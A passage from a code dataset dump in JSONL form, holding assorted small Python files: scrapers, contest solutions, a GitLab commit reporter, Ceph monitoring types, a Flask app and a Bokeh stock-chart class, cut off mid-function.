[1,2,3,4,5,6,7] \nprint(odd_even(lt))\n\n\n","repo_name":"vikassachan/PythonBasics","sub_path":"Chapter_5/list_Ex_4.py","file_name":"list_Ex_4.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40672472914","text":"import json\nimport urllib.parse\nimport urllib.request\nimport requests\nimport re\n\nBASE_URL = 'http://www.retrosheet.org/boxesetc/'\n\nclass InvalidPlayerError(Exception):\n pass\n\ndef last_name_url(player:str):\n player = player.split()\n last_name = player[-1]\n #print(last_name)\n first2 = last_name[:2].upper()\n #print(first2)\n return BASE_URL + 'MISC/PLD_' + first2 + '.htm'\n\ndef proper_name(player):\n pList = player.split()\n string = ''\n for x in pList:\n string += x[0].upper() + x[1:] + ' ' \n return string\n\ndef get_source(url: str)->dict:\n response = None\n try:\n response = urllib.request.urlopen(url)\n json_text = response.read().decode(encoding = 'utf-8')\n return json_text\n except:\n raise InvalidPlayerError\n finally:\n if response != None:\n response.close()\n\ndef check_if_player(player:str,source:str):\n if player.lower() not in source.lower():\n raise InvalidPlayerError\n else:\n print('Player found')\n\ndef get_player_url(player:str,source:str):\n check_if_player(player,source)\n source = source.split('')\n for line in source:\n if player.lower() in line.lower():\n addThis = line[13:28]\n return BASE_URL + addThis\n\ndef parse_source(source):\n #use re to get rid of all html tags\n print()\n on = 0\n cleanSource = re.sub('<[^>]*>','',source)\n\n file = open(\"Stats.txt\", 'w')\n file.write(cleanSource)\n file = open(\"Stats.txt\", 'r')\n\n stats = []\n for line in file:\n if 'Batting Record' in line:\n on = 1\n if 'Total NL' in line:\n line = ''\n if 'Total AL' in line:\n line = ''\n if 'Total (' in line:\n line = re.sub(r'([T][o][t][a][l][ ]{4})','Total',line)\n line = re.sub(r'([S][p][l][i][t][s])','',line.strip())\n line = re.sub(r'([Y][e][a][r][s])','yrs',line.strip())\n stats.append(line)\n \n file.close()\n return stats\n\n if 'Fielding' in line:\n file.close()\n return stats\n if on and len(line)>0:\n line = re.sub(r'([D][a][i][l][y][ ][S][p][l][i][t][s])|([ ]{12})|([ ][S][p][l][i][t][s])','',line.strip())\n stats.append(line)\n","repo_name":"billycastelli/MLB-Batting-Stats","sub_path":"MLB_stats_builder.py","file_name":"MLB_stats_builder.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11382467099","text":"with open('input.txt', 'r') as f:\n data = []\n for line in f:\n data.append(line.strip())\n tels = []\n formats = []\n t = int(data[0])+1\n for i in range(1, t):\n tels.append(data[i])\n for i in range(t+1, int(data[t])+1+t):\n formats.append(data[i])\n \n # format tels\n for i, t in enumerate(tels):\n tmp = t\n tmp = tmp.replace('-', '')\n tmp = tmp.replace(' ', '')\n tmp = tmp.replace('(', '')\n tmp = tmp.replace(')', '')\n if tmp[0] != '+':\n tels[i] = '+' + tmp\n else:\n tels[i] = tmp\n \n \n # format formats\n form = []\n digits = []\n names = []\n for f in formats:\n p = f.index('-')\n tmp = []\n for char in f:\n if char.isdigit() or char == '+':\n tmp.append(char)\n elif char in [' ', '(', ')']:\n \n continue\n else:\n form.append(''.join(tmp))\n digits.append(f[:p].count('X'))\n names.append(f[p:])\n break\n # check\n result = []\n for t in tels:\n for i, f in enumerate(form):\n if t.startswith(f) and len(t) == len(f) + digits[i]:\n result.append(formats[i][:formats[i].index('X')]+t[-digits[i]:]+' '+names[i])\n\n for i in result:\n print(i)\n \n \n","repo_name":"pohily/Yandex_contests","sub_path":"Телефонные номера.py","file_name":"Телефонные номера.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12096815432","text":"#4.* Задана натуральная степень k. Сформировать случайным образом список коэффициентов (от 0 до 10) многочлена,\n# записать в файл полученный многочлен не менее 3-х раз.\nfrom random import randint\nfrom random import choice\nimport pathlib\nfrom pathlib import Path\ndef Poly(k): \n my_list =[randint(0, 10) for x in range(k)]\n znak=['-','+']\n i =0\n path1 = Path(\"Python_seminars\", \"SEM_4\", \"poly_1.txt\")\n with open(path1,\"a\", encoding=\"utf-8\") as my_f:\n while k>1:\n if my_list[i] != 0:\n my_f.write(f'{my_list[i]}*x^{randint(2, k)}{choice(znak)}')\n k-=1\n i+=1\n else:\n i+=1\n if my_list[-1] !=0:\n my_f.write(f\"{my_list[-1]}=0\\n\")\n else:\n my_f.write(f\"{randint(1, k)}=0\\n\")\n \nk =int(input('введите натуральное число: '))\nif k<=0:\n print(\"это число не натуральное\")\nelse:\n Poly(k)\n ","repo_name":"Silva0308/Python_seminars","sub_path":"SEM_4/HW/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71418787346","text":"import pyodbc\n\ndados_conexao = (\n \"Driver={SQL Server};\"\n \"Server=localhost;\"\n \"Database=algumarquivo.db;\"\n)\n\n\nconexao = pyodbc.connect(dados_conexao)\n\ncursor = conexao.cursor()\n\ncursor.execute('''\n \n \n ''')\n\n\n# somente no final que estas duas linhas ficam\ncursor.close()\nconexao.close()\n","repo_name":"DevLucasLourenco/Codigos-Uteis","sub_path":"Códigos Úteis/pyodbc.py","file_name":"pyodbc.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4246427025","text":"import requests\nimport json\nimport os\nfrom datetime import datetime\n\nuserName = \"git config user.name\"\nurlGitLab = \"https://rota.gitlab.com/api/v4/projects/\"\napiToken = \"API-TOKEN\"\nsince = \"yyyy-MM-dd\"\nprojects = [\n {\"nome\": \"nome-projeto\", \"id\": \"id-projeto\"},\n]\n\nparamsCommit = {\n \"since\": since + \"T00:00:00Z\",\n \"all\" : \"true\",\n \"per_page\": \"2000\"\n}\nparamsDiff = {\n \"with_stats\": \"true\"\n}\nheaders = {\n \"PRIVATE-TOKEN\": apiToken,\n}\n\ndir_path = \"./relatorios\"\nif not os.path.exists(dir_path):\n os.makedirs(dir_path)\n\nfor project in projects:\n url = urlGitLab+project[\"id\"]+\"/repository/commits\"\n response = requests.get(url, params=paramsCommit, headers=headers, verify=False)\n commits = response.json()\n artifacts = {}\n my_commits = []\n for commit in commits:\n if commit[\"author_name\"] == userName:\n my_commits.append(commit)\n for commit in my_commits:\n response2 = requests.get(url+\"/\"+commit[\"id\"]+\"/diff\", params=paramsDiff, headers=headers, verify=False)\n diffs = response2.json()\n for diff in diffs:\n data_datetime = datetime.fromisoformat(commit[\"created_at\"].replace(\"Z\", \"+00:00\"))\n data_formatada = data_datetime.strftime(\"%d-%m-%Y\")\n artifact = {\n \"author\": commit[\"author_name\"],\n \"hash\": commit[\"id\"],\n \"arquivo\": project[\"nome\"] + \"/\" + diff[\"new_path\"] + \"#\" + commit[\"short_id\"],\n \"title\": commit[\"title\"],\n \"isCreated\": diff[\"new_file\"],\n \"repository\": project[\"nome\"],\n \"createdAt\": data_formatada\n }\n if commit[\"id\"] in artifacts:\n artifacts[commit[\"id\"]].append(artifact)\n else:\n artifacts[commit[\"id\"]] = [artifact]\n\n with open(dir_path + \"/\" + project[\"nome\"] + \"-commits.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump(artifacts, f, ensure_ascii=False, indent=4)\n\nprint(\"Dados salvos com sucesso!\")","repo_name":"TicoYk/relatorio-git","sub_path":"relatorio.py","file_name":"relatorio.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35628607395","text":"# This sample tests the case where a ParamSpec and its P.args and P.kwargs\n# parameters are used within a constructor.\n\nfrom typing import Callable, Generic, TypeVar\n\nfrom typing_extensions import Concatenate, ParamSpec\n\nP = ParamSpec(\"P\")\nT1 = TypeVar(\"T1\")\nT2 = TypeVar(\"T2\")\n\n\ndef add_k(x: int, k: int) -> int:\n return x + k\n\n\nclass Class1(Generic[P, T2]):\n def __init__(self, fn: Callable[P, T2], *args: P.args, **kwargs: P.kwargs) -> None:\n self.fn = fn\n self.args = args\n self.kwargs = kwargs\n\n def __call__(self) -> T2:\n return self.fn(*self.args, **self.kwargs)\n\n\n# This should generate an error because arguments x and k are missing.\nClass1(add_k)\n\n# This should generate an error because arguments x has the wrong type.\nClass1(add_k, \"3\", 2)\n\nClass1(add_k, 3, 2)\nClass1(add_k, x=3, k=2)\n\n\nclass Class2(Generic[P, T1, T2]):\n def __init__(\n self, fn: Callable[Concatenate[T1, P], T2], *args: P.args, **kwargs: P.kwargs\n ) -> None:\n self.fn = fn\n self.args = args\n self.kwargs = kwargs\n\n def __call__(self, value: T1) -> T2:\n return self.fn(value, *self.args, **self.kwargs)\n\n\n# This should generate an error because argument x is missing.\nClass2(add_k)\n\n# This should generate an error because arguments x has the wrong type.\nClass2(add_k, \"3\")\n\nClass2(add_k, 2)\n\nClass2(add_k, k=2)\n","repo_name":"microsoft/pyright","sub_path":"packages/pyright-internal/src/tests/samples/paramSpec32.py","file_name":"paramSpec32.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":11208,"dataset":"github-code","pt":"48"} +{"seq_id":"3366245725","text":"from collections import namedtuple, defaultdict\n\nimport logging\n\n\nlog = logging.getLogger('cthulhu.types')\n\n\nCRUSH_RULE_TYPE_REPLICATED = 1\nCRUSH_RULE_TYPE_ERASURE = 3\n\n\nServiceId = namedtuple('ServiceId', ['fsid', 'service_type', 'service_id'])\n\n\nclass SyncObject(object):\n \"\"\"\n An object from a Ceph cluster that we are maintaining\n a copy of on the Calamari server.\n\n We wrap these JSON-serializable objects in a python object to:\n\n - Decorate them with things like id-to-entry dicts\n - Have a generic way of seeing the version of an object\n\n \"\"\"\n def __init__(self, version, data):\n self.version = version\n self.data = data\n\n @classmethod\n def cmp(cls, a, b):\n \"\"\"\n Slight bastardization of cmp. Takes two versions,\n and returns a cmp-like value, except that if versions\n are not sortable we only return 0 or 1.\n \"\"\"\n # Version is something unique per version (like a hash)\n return 1 if a != b else 0\n\n\nclass VersionedSyncObject(SyncObject):\n @classmethod\n def cmp(cls, a, b):\n # Version is something numeric like an epoch\n return cmp(a, b)\n\n\nclass OsdMap(VersionedSyncObject):\n str = 'osd_map'\n\n def __init__(self, version, data):\n super(OsdMap, self).__init__(version, data)\n if data is not None:\n self.osds_by_id = dict([(o['osd'], o) for o in data['osds']])\n self.pools_by_id = dict([(p['pool'], p) for p in data['pools']])\n self.osd_tree_node_by_id = dict([(o['id'], o) for o in data['tree']['nodes'] if o['id'] >= 0])\n self.crush_rule_by_id = dict([(o['rule_id'], o) for o in data['crush']['rules']])\n self.crush_node_by_id = self._filter_crush_nodes(data['crush']['buckets'])\n self.metadata_by_id = self._map_osd_metadata(data)\n\n # Special case Yuck\n flags = data.get('flags', '').replace('pauserd,pausewr', 'pause')\n tokenized_flags = flags.split(',')\n\n self.flags = dict([(x, x in tokenized_flags) for x in OSD_FLAGS])\n else:\n self.osds_by_id = {}\n self.pools_by_id = {}\n self.osd_tree_node_by_id = {}\n self.metadata_by_id = {}\n self.crush_rule_by_id = {}\n self.crush_node_by_id = {}\n self.flags = dict([(x, False) for x in OSD_FLAGS])\n\n def _map_osd_metadata(self, data):\n osd_id_to_metadata = dict([(o['osd'], {}) for o in data['osds']])\n metadata = data.get('osd_metadata', [])\n if len(metadata) == 0:\n log.info('No OSD metadata found in OSDMap version:{v} try running \"sudo salt \\'*\\' salt_util.sync_modules\"'.format(v=self.version))\n\n for m in metadata:\n osd_id_to_metadata[m['osd']] = m\n\n return osd_id_to_metadata\n\n def _filter_crush_nodes(self, nodes):\n crush_nodes = {}\n for node in nodes:\n for item in node['items']:\n item['weight'] = float(item['weight']) / 0x10000\n\n node['weight'] = float(node['weight']) / 0x10000\n crush_nodes[node['id']] = node\n return crush_nodes\n\n @property\n def parent_bucket_by_node_id(self):\n \"\"\"\n Builds a dict of node_id -> parent_node for all nodes with parents in the crush map\n \"\"\"\n parent_map = defaultdict(list)\n if self.data is not None:\n has_been_mapped = set()\n for node in self.data['tree']['nodes']:\n for child_id in node.get('children', []):\n if (child_id, node['id']) not in has_been_mapped:\n parent_map[child_id].append(node)\n has_been_mapped.add((child_id, node['id']))\n log.info('crush node parent map {p} version {v}'.format(p=parent_map, v=self.version))\n return dict(parent_map)\n\n @property\n def crush_type_by_id(self):\n return dict((n[\"type_id\"], n) for n in self.data['crush']['types'])\n\n @property\n def get_tree_nodes_by_id(self):\n return dict((n[\"id\"], n) for n in self.data['tree'][\"nodes\"])\n\n def get_tree_node(self, node_id):\n try:\n return self.crush_node_by_id[node_id]\n except KeyError:\n raise NotFound(CRUSH_NODE, node_id)\n\n def _get_crush_rule_osds(self, rule):\n nodes_by_id = self.get_tree_nodes_by_id\n\n def _gather_leaf_ids(node):\n if node['id'] >= 0:\n return set([node['id']])\n\n result = set()\n for child_id in node['children']:\n if child_id >= 0:\n result.add(child_id)\n else:\n result |= _gather_leaf_ids(nodes_by_id[child_id])\n\n return result\n\n def _gather_descendent_ids(node, typ):\n result = set()\n for child_id in node['children']:\n child_node = nodes_by_id[child_id]\n if child_node['type'] == typ:\n result.add(child_node['id'])\n elif 'children' in child_node:\n result |= _gather_descendent_ids(child_node, typ)\n\n return result\n\n def _gather_osds(root, steps):\n if root['id'] >= 0:\n return set([root['id']])\n\n osds = set()\n step = steps[0]\n if step['op'] == 'choose_firstn':\n # Choose all descendents of the current node of type 'type'\n d = _gather_descendent_ids(root, step['type'])\n for desc_node in [nodes_by_id[i] for i in d]:\n osds |= _gather_osds(desc_node, steps[1:])\n elif step['op'] == 'chooseleaf_firstn':\n # Choose all descendents of the current node of type 'type',\n # and select all leaves beneath those\n for desc_node in [nodes_by_id[i] for i in _gather_descendent_ids(root, step['type'])]:\n # Short circuit another iteration to find the emit\n # and assume anything we've done a chooseleaf on\n # is going to be part of the selected set of osds\n osds |= _gather_leaf_ids(desc_node)\n elif step['op'] == 'emit':\n if root['id'] >= 0:\n osds |= root['id']\n\n return osds\n\n osds = set()\n for i, step in enumerate(rule['steps']):\n if step['op'] == 'take':\n osds |= _gather_osds(nodes_by_id[step['item']], rule['steps'][i + 1:])\n return osds\n\n @property\n def osds_by_rule_id(self):\n result = {}\n for rule in self.data['crush']['rules']:\n result[rule['rule_id']] = list(self._get_crush_rule_osds(rule))\n\n return result\n\n @property\n def osds_by_pool(self):\n \"\"\"\n Get the OSDS which may be used in this pool\n\n :return dict of pool ID to OSD IDs in the pool\n \"\"\"\n\n result = {}\n for pool_id, pool in self.pools_by_id.items():\n osds = None\n for rule in [r for r in self.data['crush']['rules'] if r['ruleset'] == pool['crush_ruleset']]:\n if rule['min_size'] <= pool['size'] <= rule['max_size']:\n osds = self.osds_by_rule_id[rule['rule_id']]\n\n if osds is None:\n # Fallthrough, the pool size didn't fall within any of the rules in its ruleset, Calamari\n # doesn't understand. Just report all OSDs instead of failing horribly.\n log.error(\"Cannot determine OSDS for pool %s\" % pool_id)\n osds = self.osds_by_id.keys()\n\n result[pool_id] = osds\n\n return result\n\n @property\n def osd_pools(self):\n \"\"\"\n A dict of OSD ID to list of pool IDs\n \"\"\"\n osds = dict([(osd_id, []) for osd_id in self.osds_by_id.keys()])\n for pool_id in self.pools_by_id.keys():\n for in_pool_id in self.osds_by_pool[pool_id]:\n try:\n osds[in_pool_id].append(pool_id)\n except KeyError:\n log.warning(\"OSD {0} is present in CRUSH map, but not in OSD map\")\n\n return osds\n\n\nclass MdsMap(VersionedSyncObject):\n str = 'mds_map'\n\n\nclass MonMap(VersionedSyncObject):\n str = 'mon_map'\n\n\nclass QuorumStatus(VersionedSyncObject):\n str = 'quorum_status'\n\n\nclass MonStatus(VersionedSyncObject):\n str = 'mon_status'\n\n def __init__(self, version, data):\n super(MonStatus, self).__init__(version, data)\n if data is not None:\n self.mons_by_rank = dict([(m['rank'], m) for m in data['monmap']['mons']])\n else:\n self.mons_by_rank = {}\n\n\nclass PgSummary(SyncObject):\n \"\"\"\n A summary of the state of PGs in the cluster, reported by pool and by OSD.\n \"\"\"\n str = 'pg_summary'\n\n\nclass Health(SyncObject):\n str = 'health'\n\n\nclass Config(SyncObject):\n str = 'config'\n\n\nclass NotFound(Exception):\n def __init__(self, object_type, object_id):\n self.object_type = object_type\n self.object_id = object_id\n\n def __str__(self):\n return \"Object of type %s with id %s not found\" % (self.object_type, self.object_id)\n\n\nclass BucketNotEmptyError(Exception):\n pass\n\n\nMON = 'mon'\nOSD = 'osd'\nMDS = 'mds'\nPOOL = 'pool'\nOSD_MAP = 'osd_map'\nCRUSH_MAP = 'crush_map'\nCRUSH_RULE = 'crush_rule'\nCRUSH_NODE = 'crush_node'\nCRUSH_TYPE = 'crush_type'\nCLUSTER = 'cluster'\nSERVER = 'server'\n\n# The objects that ClusterMonitor keeps copies of from the mon\nSYNC_OBJECT_TYPES = [MdsMap, OsdMap, MonMap, MonStatus, QuorumStatus, PgSummary, Health, Config]\nSYNC_OBJECT_STR_TYPE = dict((t.str, t) for t in SYNC_OBJECT_TYPES)\n\nUSER_REQUEST_COMPLETE = 'complete'\nUSER_REQUEST_SUBMITTED = 'submitted'\n\n# List of allowable things to send as ceph commands to OSDs\nOSD_IMPLEMENTED_COMMANDS = ('scrub', 'deep_scrub', 'repair')\nOSD_FLAGS = ('pause', 'noup', 'nodown', 'noout', 'noin', 'nobackfill', 'norecover', 'noscrub', 'nodeep-scrub')\n\n# Severity codes for Calamari events\nCRITICAL = 1\nERROR = 2\nWARNING = 3\nRECOVERY = 4\nINFO = 5\n\nSEVERITIES = {\n CRITICAL: \"CRITICAL\",\n ERROR: \"ERROR\",\n WARNING: \"WARNING\",\n RECOVERY: \"RECOVERY\",\n INFO: \"INFO\"\n}\n\nSTR_TO_SEVERITY = dict([(b, a) for (a, b) in SEVERITIES.items()])\n\n\ndef severity_str(severity):\n return SEVERITIES[severity]\n\n\ndef severity_from_str(severitry_str):\n return STR_TO_SEVERITY[severitry_str]\n","repo_name":"ceph/calamari","sub_path":"calamari-common/calamari_common/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":10437,"program_lang":"python","lang":"en","doc_type":"code","stars":350,"dataset":"github-code","pt":"48"} +{"seq_id":"73975051985","text":"import math\nimport time\nfrom rolepy.engine.core.tasks import AsyncTask\nfrom rolepy.engine.core.structs import Position\nfrom rolepy.engine.core.misc import front_position\nfrom rolepy.engine.entities.enums import Posture\nfrom rolepy.engine.entities.enums import EntityState\n\n\nclass Movement(AsyncTask):\n \"\"\"Thread dedicated to the movement of an entity.\"\"\"\n\n def __init__(self, entity, direction, distance, update=False):\n entity.attributes.set(\"state\", EntityState.MOVING)\n duration = float(distance) / entity.attributes.speed\n source = Position(*entity.attributes.position.pair())\n destination = front_position(source, direction, distance)\n\n def posture_cycle():\n while True:\n yield Posture.LEFT\n yield Posture.REST\n yield Posture.RIGHT\n yield Posture.REST\n postures = posture_cycle()\n\n def function():\n entity.attributes.set(\"direction\", direction)\n start = time.time()\n early_stop = 1\n progress = 0\n last = 0\n while progress < early_stop:\n collision = entity.manager.detect_collision(front_position(\n entity.attributes.position,\n entity.attributes.direction\n ))\n if entity.attributes.interrupt_movement or collision:\n early_stop = float(math.ceil(progress * distance)) / distance\n entity.attributes.set(\"interrupt_movement\", False)\n current = time.time()\n progress = min(1, (current - start) / duration)\n entity.attributes.set(\n \"position\",\n (1 - progress) * source + progress * destination\n )\n if current - last > duration / 4 / distance:\n entity.attributes.set(\"posture\", next(postures))\n last = current\n time.sleep(duration / 100)\n entity.attributes.set(\"state\", EntityState.IDLE)\n entity.attributes.set(\"posture\", Posture.REST)\n entity.attributes.set(\"position\", entity.attributes.position.target())\n entity.manager.update_entity_position(entity)\n if update:\n entity.manager.update_registry()\n AsyncTask.__init__(self, function)\n","repo_name":"ychalier/rolepy","sub_path":"rolepy/engine/entities/movement.py","file_name":"movement.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8687673665","text":"# cook your dish here\nfor _ in range(int(input())):\n N=int(input())\n L=input()\n c=0\n for i in L:\n if i=='1':\n c=c+1\n \n days=(120-N)+c\n \n Present=(days*100)/120\n \n if Present>=75:\n print(\"YES\")\n else:\n print(\"NO\")","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"ATTENDU.py","file_name":"ATTENDU.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"9885059911","text":"import ifcopenshell\n\nfilepath = \"C:/Users/vpaji/OneDrive/Documents/Blender/Test Projects/test.ifc\"\nifc = ifcopenshell.open(filepath)\n\nprint(ifc.by_type(\"IfcWallType\"))\n\n\n\n\n# # retrieve all objects that are part of IfcBuildingElement\n# building_elements = ifc.by_type(\"IfcBuildingElement\")\n\n# # # print class type for each object\n# # for object in building_elements:\n# # print(object.is_a())\n\n# # print number of objects that inherit from IfcColumn\n# columns = ifc.by_type('IfcColumn')\n\n# # # access specific element attributes\n# # print(columns[0].GlobalId)\n# # print(columns[0].Name)\n# # print(columns[0].id()) # STEP ID\n\n# # get Psets for a particular element\n# psets = ifcopenshell.util.element.get_psets(columns[0])\n# base_quantities = psets[\"BaseQuantities\"]\n\n\n# # # find inverse attributes\n# # print(columns[0].IsDefinedBy)\n\n# # # find elements that are reference by the current element\n# # print(ifc.traverse(columns[0]))\n# # print(ifc.traverse(columns[0], max_levels=1)) # Or, let's just go down one level deep\n\n# # generate a new GUID for the current element\n# columns[0].GlobalId = ifcopenshell.guid.new()\n\n\n# # # save the changes above to a new ifc file:\n# # ifc.write(filepath)","repo_name":"vulevukusej/BlenderBIM","sub_path":"standalone scripts for ifcopenshell/basic commands.py","file_name":"basic commands.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"73108474384","text":"from flask import Flask, request, render_template\nfrom make_prediction import top100\n\n# create a flask object\napp = Flask(__name__)\n\n# creates an association between the / page and the entry_page function (defaults to GET)\n@app.route('/')\ndef entry_page():\n return render_template('index.html')\n\n# creates an association between the /predict_recipe page and the render_message function\n# (includes POST requests which allow users to enter in data via form)\n@app.route('/predict_top100/', methods=['GET', 'POST'])\ndef render_message():\n\n # user-entered ingredients\n features = ['duration_min', 'acoustic', 'danceable', 'energy',\n 'tempo', 'talky', 'happiness', 'loud', 'live', 'instrumental',\n 'mode', 'key']\n\n # error messages to ensure correct units of measure\n messages = [\"The duration must be in minutes.\",\n \"Don't leave 'acoustic' blank\",\n \"Something went wrong 'danceable'\",\n \"Something went wrong 'energy'\",\n \"Tempo should be in bpm.\",\n \"Something went wrong 'speechiness'\",\n \"Something went wrong 'happiness'\",\n \"Something went wrong 'loudness'\",\n \"Don't leave 'live' blank\",\n \"Don't leave 'instrumental' blank\",\n \"Don't leave 'mode' blank\",\n \"Invalid 'key' entry (0-11 only)\"]\n\n # hold all amounts as floats\n amounts = []\n\n # takes user input and ensures it can be turned into a floats\n for i, entry in enumerate(features):\n try:\n user_input = request.form[entry]\n fixed_entry = float(user_input)\n except:\n return render_template('index.html', message=messages[i])\n\n amounts.append(fixed_entry)\n\n # show user final message\n final_message = top100(amounts)\n return render_template('index.html', message=final_message)\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"ganesh10-india/Spotify-Music-Classifier-Prediction","sub_path":"Flask_App/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71653921747","text":"from math import pi\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom bokeh.plotting import figure\r\n\r\nfrom bokeh.models import Label\r\n#from bokeh.models.formatters import DatetimeTickFormatter\r\nfrom bokeh.models import HoverTool, CustomJS\r\n\r\nclass Indicator(object): \r\n def __init__(self, data, **kwargs):\r\n self.data = data\r\n self.params = kwargs\r\n \r\n def add_to_chart(self, stock_data, chart):\r\n pass\r\n\r\nclass EmaIndicator(Indicator): \r\n def __init__(self, data, **kwargs):\r\n super(EmaIndicator, self).__init__(data, **kwargs)\r\n \r\n def add_to_chart(self, stock_data, chart):\r\n n = self.params['period']\r\n price = stock_data['Close']\r\n price = price.fillna(method='ffill')\r\n EMA = pd.Series(price.ewm(span = n, min_periods = n - 1).mean(), name = 'EMA_' + str(n))\r\n chart.line(stock_data.Date, EMA, line_dash=(4, 4), color='black', alpha=0.7, legend = 'EMA ' + str(n))\r\n return chart\r\n \r\nclass BollingerIndicator(Indicator):\r\n def __init__(self, data, **kwargs):\r\n super(BollingerIndicator, self).__init__(data, **kwargs)\r\n \r\n def add_to_chart(self, stock_data, chart): \r\n n = self.params['period']\r\n price = stock_data['Close']\r\n price = price.fillna(method='ffill')\r\n bbupper = price.ewm(span = n, min_periods = n - 1).mean() + 2 * price.rolling(min_periods=n,window=n,center=False).std() \r\n bblower = price.ewm(span = n, min_periods = n - 1).mean() - 2 * price.rolling(min_periods=n,window=n,center=False).std() \r\n chart.line(stock_data.Date, bbupper, color='red', alpha=0.7, legend = 'bbupper ' + str(n))\r\n chart.line(stock_data.Date, bblower, color='black', alpha=0.7, legend = 'blower ' + str(n))\r\n return chart\r\n \r\nclass LookAndFeel:\r\n def __init__(self):\r\n self.width = None\r\n self.height = None\r\n self.color_up = None\r\n self.color_down = None\r\n \r\n def set_color_up(self, color):\r\n self.color_up = color\r\n return self\r\n\r\n def set_color_down(self, color):\r\n self.color_down = color\r\n return self\r\n\r\n def set_height(self, height):\r\n self.height = height\r\n return self\r\n\r\n def set_width(self, width):\r\n self.width = width\r\n return self\r\n \r\nclass StockChart:\r\n\r\n def __init__(self, data):\r\n self.height = 400\r\n self.width = 600\r\n self.days = 100\r\n self.title = ' '\r\n self.color_up = 'Green'\r\n self.color_down = 'Red'\r\n self.data = data\r\n self.indicators = []\r\n \r\n def set_look_and_feel(self, look_and_feel): \r\n if (look_and_feel.height != None):\r\n self.height = look_and_feel.height\r\n if (look_and_feel.width != None): \r\n self.width = look_and_feel.width\r\n if (look_and_feel.color_up != None): \r\n self.color_up = look_and_feel.color_up\r\n if (look_and_feel.color_down != None): \r\n self.color_down = look_and_feel.color_down \r\n return self\r\n\r\n \r\n def set_title(self, title):\r\n self.title = title\r\n return self\r\n\r\n def set_data(self, data):\r\n self.data = data\r\n return self\r\n \r\n def set_days(self, days):\r\n self.days = days\r\n return self \r\n \r\n def add_indicator(self, indicator):\r\n self.indicators.append(indicator)\r\n return self\r\n \r\n def __reset_date_index(self):\r\n df = self.data\r\n df[\"Date\"] = pd.to_datetime(df[\"Date\"])\r\n new_dates = pd.date_range(df.Date.min(), df.Date.max())\r\n df.index = pd.DatetimeIndex(df.Date)\r\n df = df.reindex(new_dates, fill_value=np.nan)\r\n df['Date'] = new_dates\r\n return df\r\n\r\n def __get_stock_data_dict(self):\r\n df = self.data\r\n df['Date'] = df['Date'].map(lambda x: x.strftime('%m/%d/%y'))\r\n df = df.fillna(0)\r\n df = df.set_index(df['Date'])\r\n df = df.drop('Date', axis = 1)\r\n df = df.round(2)\r\n return df.T.to_dict('dict')\r\n \r\n def __add_indicators(self, stock_data, chart):\r\n for indicator in self.indicators:\r\n chart = indicator.add_to_chart(stock_data, chart)\r\n return chart\r\n \r\n def get_stock_chart(self):\r\n # Reset the date index.\r\n stock_data = self.__reset_date_index()\r\n\r\n # Only keep the number of days requested in chart_params\r\n stock_data = stock_data.tail(self.days)\r\n\r\n # Make a Bokeh figure\r\n # Bokeh comes with a list of tools that include xpan and crosshair.\r\n TOOLS = \"xpan,crosshair\"\r\n p = figure(x_axis_type='datetime', tools=TOOLS, plot_width=self.width, plot_height= self.height, title = self.title)\r\n p.xaxis.major_label_orientation = pi/4\r\n p.grid.grid_line_alpha=0.3\r\n\r\n mids = (stock_data.Open + stock_data.Close)/2\r\n spans = abs(stock_data.Close-stock_data.Open)\r\n inc = stock_data.Close > stock_data.Open\r\n dec = stock_data.Open >= stock_data.Close\r\n half_day_in_ms_width = 12*60*60*1000 # half day in \r\n\r\n # Bokeh glyphs allows you to draw different types of glyphs on your charts....\r\n # Each candle consists of a rectangle and a segment. \r\n p.segment(stock_data.Date, stock_data.High, stock_data.Date, stock_data.Low, color=\"black\")\r\n # Add the rectangles of the candles going up in price\r\n p.rect(stock_data.Date[inc], mids[inc], half_day_in_ms_width, spans[inc], fill_color=self.color_up, line_color=\"black\")\r\n # Add the rectangles of the candles going down in price\r\n p.rect(stock_data.Date[dec], mids[dec], half_day_in_ms_width, spans[dec], fill_color=self.color_down, line_color=\"black\")\r\n\r\n ############# ADDING INDICATORS ############################\r\n #p = add_indicators(chart_params[\"indicators\"], stock_data, p)\r\n p = self.__add_indicators(stock_data, p)\r\n\r\n ############# ADDING HOVER CALLBACK ############################\r\n # Create a dictionary that I can pass to the javascript callback\r\n stock_data_dictio = self.__get_stock_data_dict()\r\n\r\n callback_jscode = \"\"\"\r\n var stock_dic = %s; //The dictionary will be replaced here\r\n var day_im_ms = 24*60*60*1000;\r\n\r\n function formatDate(date) {\r\n var d = new Date(date),\r\n month = '' + (d.getMonth() + 1),\r\n day = '' + d.getDate(),\r\n year = d.getFullYear();\r\n if (month.length < 2) month = '0' + month;\r\n if (day.length < 2) day = '0' + day;\r\n return [ month, day, year.toString().substring(2)].join('/');\r\n }\r\n\r\n var d = cb_data.geometry.x;\r\n try {\r\n 